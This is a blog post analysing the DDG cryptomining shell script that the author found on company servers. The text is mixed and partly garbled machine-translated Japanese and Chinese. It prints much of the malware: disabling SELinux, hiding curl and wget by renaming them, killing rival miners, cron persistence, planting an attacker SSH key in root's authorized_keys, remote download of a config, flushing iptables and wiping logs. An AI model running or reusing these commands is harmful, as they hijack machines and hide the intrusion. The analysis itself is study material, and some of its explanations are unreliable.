「マイニングスクリプト」で私を捕まえることができますか?


社内には数台のマシンがありますが、最近はCPUが激しく回転していて、まるで薬と熱を飲んでいるようなものです。マシンが多すぎるため、安全保護がほとんど実施されておらず、コーナーに横たわって乱暴に動いています。


image.png
ペクセルからの写真

異常な状況が表面化したのは、統合監視スクリプトがこれらのマシンを引き継ぐまではありませんでした。最後に、いくつかの奇妙なプロセスが発見され、それがマイニングスクリプトであることが発見されました。


ダウンロードして学んだところ、スクリプトライターのレベルが高いことがわかりました。他の人のマシンでマイニングを行うことは非倫理的ですが、スクリプトライターのコケティッシュな操作を隠すことはできません。


マイニングは、コンピューターテクノロジーで最も混乱する動作の1つですが、収益を上げます。このスクリプトはDDGと呼ばれ、すでに1,000万元以上の仮想通貨通貨をマイニングしていると報告されています。


学習の目的で、この魔法のスクリプトを少し分析しましたが、それは私の使用のためにその本質を使い果たしたと見なすことができます。


彼がそれを理解していなかったので、私はこれについて上司に話すことをあえてしませんでした。でも、あなたが理解しているので、みんなと話しても大丈夫です。


01

コード1


#!/bin/sh

スクリプトの最初の行はコメントのように見えますが、そうではありません。次のスクリプトの実行に使用されるSHELLを指定します。


shのスーパーセットに属する通常のbash、zshなどのように、このスクリプトは実行のシェルとしてshを使用します。これにより、移植性が向上します。


02

コード2


setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null

setenforceは、Linuxのselinuxファイアウォール構成コマンドです。setenforce0を実行すると、selinuxファイアウォールが閉じられます。2は標準エラー(stderr)を表します。


したがって、後で、リダイレクト文字を使用して、コマンドのエラー出力を/ dev / nullデバイスに送信します。このデバイスは仮想デバイスです。つまり、何もしません。静かに悪いことをするのに非常に適しています。


03

コード3


sync && echo 3 >/proc/sys/vm/drop_caches

このスクリプトは、マイニング用のリソースを増やすために、いくつかのメモリリソースを解放するのに役立ちました。


ご存知のとおり、Linuxシステムは長時間実行すると大量のキャッシュを生成します。クリーニング方法は、drop_cachesファイルに数値(通常は3)を書き込むことです。


syncコマンドは、書き込まれていないすべてのシステムバッファーをディスクに書き込み、実行後、バッファーを安全に解放できます。


04

コード4


crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/sysupdates
rtdir="/etc/sysupdates"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cur"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wge"
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/xget /usr/bin/get
mv /usr/bin/get /usr/bin/wge
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/xurl /usr/bin/url
mv /usr/bin/url /usr/bin/cur

そうです、上記のステートメントはいくつかの一般的な操作を完了しました。mvコマンドを使用して一般的に使用されるコマンドの一部の名前を変更したことは注目に値します。


コマンドを実行すると、機能に分割されているように見えます。このスクリプトは、コンピューター上のいくつかのファイルを変更しました。これは犯罪です。


一部の関数を再利用するために、スクリプトは多くの関数を抽象化します。main関数の実行に直接ジャンプしてから、このプロセスを見ていきます。


05

コード5


1つ目はkill_miner_proc関数です。コードが非常に長いので、すべてを投稿することはしません。
kill_miner_proc()
{
    ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
  ...
    pkill -f biosetjenkins
    pkill -f Loopback
    ...
    crontab -r
    rm -rf /var/spool/cron/*

鉱業分野は愛と殺害の分野です。このメソッドは、最初にps、grep、およびkillの組み合わせを使用して、ピアのマイニングスクリプトを強制終了し、次にピアのcronスクリプトを停止します。


このスクリプトでは、pkillコマンドが使用されています。このコマンドはプロセスを終了し、より暴力的な端末番号に従ってユーザーを追い出します。


06

コード6


次の実行はkill_sus_proc関数です。
ps axf -o "pid"|while read procid
do
...
done

psとoパラメーターを使用すると、出力する列を指定できます。ここでは、プロセスのpidのみが出力され、読み取り関数を使用してprocidをトラバースします。


07

コード7


ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
...
fi

上記はトラバーサル操作プロセスです。ifステートメントの構文を確認できます。$?は、前のコマンドの終了ステータスを示します。


0はエラーがないことを意味し、その他の値はエラーがあることを意味します。-neは等しくないことを意味し、文字列tmpと一致する可能性があることを意味します。


08

コード8


ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
...
done

ハハ、上に別のループトラバーサルがあります。ただし、今回のターゲットは、CPUの40%以上を使用するプロセスです。これは少し残酷です:それは私の採掘プロセスに影響を与え、私は死ぬでしょう!なぜそんなに緊急なのですか?


09

コード9


次に、スクリプトはさまざまなユーザー属性に対してさまざまな操作を実行します。


1つ目はrootユーザーです。$ rtdirファイルがあるかどうかを判断して、それがルート権限であるかどうかを判断します。
chattr -i /etc/sysupdate*
chattr -i /etc/config.json*
chattr -i /etc/update.sh*
chattr -i /root/.ssh/authorized_keys*
chattr -i /etc/networkservice

chattrコマンドを使用して、いくつかの重要なファイルを任意に変更できない読み取り専用属性に変換することも有害です。次に、cronプログラムを操作し、スクリプト更新サービスをタイミングに追加します。


これは以下のスクリプトです。


10

コード10


if [ ! -f "/usr/bin/crontab" ]
then
    echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1" >> ${crondir}
else
    [[ $cont =~ "update.sh" ]] || (crontab -l ; echo "*/30 * * * * sh /etc/update.sh >/dev/null 2>&1") | crontab -
fi

注意 [[ $cont =~ "update.sh" ]] 这以小段代码,怪异的很。[[ ]] 是 shell 中内置的一个命令,支持字符串的模式匹配。


使用 =~ 的时候,甚至支持 shell 的正则表达式,强大的令人发指。它的输出结果是一个 bool 类型,所以能够使用||进行拼接。


而后面的单小括号 (),是的是一个命令组,括号中多个命令之间用分号隔开,最后一个命令可以没有分号;和 `cmd` 的效果基本是一样的。


11

Code 11


搞完了定时任务,就要配置 ssh 自动登录了,通过把公钥追加到信任列表中就可以。
chmod 700 /root/.ssh/
echo >> /root/.ssh/authorized_keys
chmod 600 root/.ssh/authorized_keys
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC9WKiJ7yQ6HcafmwzDMv1RKxPdJI/                                                       oeXUWDNW1MrWiQNvKeSeSSdZ6NaYVqfSJgXUSgiQbktTo8Fhv43R9FWDvVhSrwPoFBz9SAfgO06jc0M2kGVNS9J2sLJdUB9u1KxY5IOzqG4QTgZ6LP2UUWLG7TGMpkbK7z6G8HAZx7u3l5+Vc82dKtI0zb/ohYSBb7pK/2QFeVa22L+                                                                                                 4IDrEXmlv3mOvyH5DwCh3HcHjtDPrAhFqGVyFZBsRZbQVlrPfsxXH2bOLc1PMrK1oG8dyk8gY8m4iZfr9ZDGxs4gAqdWtBQNIN8cvz4SI+Jv9fvayMH7f+                  Kl2yXiHN5oD9BVTkdIWX root@u17" >> /root/.ssh/authorized_keys    

12

Code 12


说曹操曹操就到,下面的脚本就使用了 `` 进行操作。
filesize_config=`ls -l /etc/config.json | awk '{ print $5 }'`
if [ "$filesize_config" -ne "$config_size" ]
then
    pkill -f sysupdate
    rm /etc/config.json
    downloads $config_url /etc/config.json $config_url_backup
else
    echo "no need download"
fi   

通过一系列骚操作,获取到配置文件的大小,如果判断文件大小不一致,那么就重新下载一个。这就用到了 downloads 函数。


shell 中的函数,看起来比较怪异,后面的参数传递,就像是脚本传递一样,传送给函数。


13

Code 13


downloads $config_url /etc/config.json $config_url_backup

这句话,就传递了三个参数。 当然,文件要从遥远的服务器上下载。域名是 .de 结尾的,证明是个德国的域名,其他的我们一无所知。
downloads()
{
    if [ -f "/usr/bin/curl" ]
    then
    echo $1,$2
        http_code=`curl -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            curl --connect-timeout 10 --retry 100 $1 > $2
        else
            curl --connect-timeout 10 --retry 100 $3 > $2
        fi
    elif [ -f "/usr/bin/cur" ]
    then
        http_code = `cur -I -m 10 -o /dev/null -s -w %{http_code} $1`
        if [ "$http_code" -eq "200" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        elif [ "$http_code" -eq "405" ]
        then
            cur --connect-timeout 10 --retry 100 $1 > $2
        else
            cur --connect-timeout 10 --retry 100 $3 > $2
fi
    elif [ -f "/usr/bin/wget" ]
    then
        wget --timeout=10 --tries=100 -O $2 $1
        if [ $? -ne 0 ]
    then
        wget --timeout=10 --tries=100 -O $2 $3
        fi
    elif [ -f "/usr/bin/wge" ]
    then
        wge --timeout=10 --tries=100 -O $2 $1
        if [ $? -eq 0 ]
        then
            wge --timeout=10 --tries=100 -O $2 $3
        fi
    fi
}

我认为,这段代码作者写的又臭又长,完全没有体现出自己应有的水平。应该是赶工期,没有想好代码的复用,才会写的这么有失水准。


我们上面说到,脚本改了几个命令的名字,其中就有 curl。这个命令是如此的强大,以至于脚本的作者都忍不住加了不少参数:

  • -I:用来测试 http 头信息。

  • -m:设置最大传输时间。

  • -o:指定保持的文件名。这里是 /dev/null,呃呃呃......

  • -s:静默模式,不输出任何东西。

  • --connect-timeout:连接超时时间。

  • --retry:重试次数,好狠,100 次。


如果没有 curl?那就使用替补的 wget,套路都是一样的。


14

Code 14


接下来是一系列相似的操作,最后,对 iptables 一批操作。
iptables -F
iptables -X
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -I INPUT -s 43.245.222.57 -j DROP
service iptables reload

15

Code 15


注意深いスクリプトライターは、コマンドを使用して操作ログをクリーンアップしました。
history -c
echo > /var/spool/mail/root
echo > /var/log/wtmp
echo > /var/log/secure
echo > /root/.bash_history

行き止まりを見せず、シックに立ち去ってください。ご覧のとおり、実際のマイニングプログラムは言うまでもなく、この小さなスクリプトだけで、作者も一生懸命働いています。


スクリプトには多くのコマンド、さまざまな使用方法、洗練されたコンパクトなフォーマットがあります。少し冗長で暗号化されていないことを除けば、学ぶのに非常に良いスクリプトです。


制御されたマシンを見て、私はすぐにマシンを密かに再インストールしました。ただそれを夢として扱ってください。上司が尋ねたとき、何も起こりませんでした。



おすすめ

転載: blog.51cto.com/14410880/2545880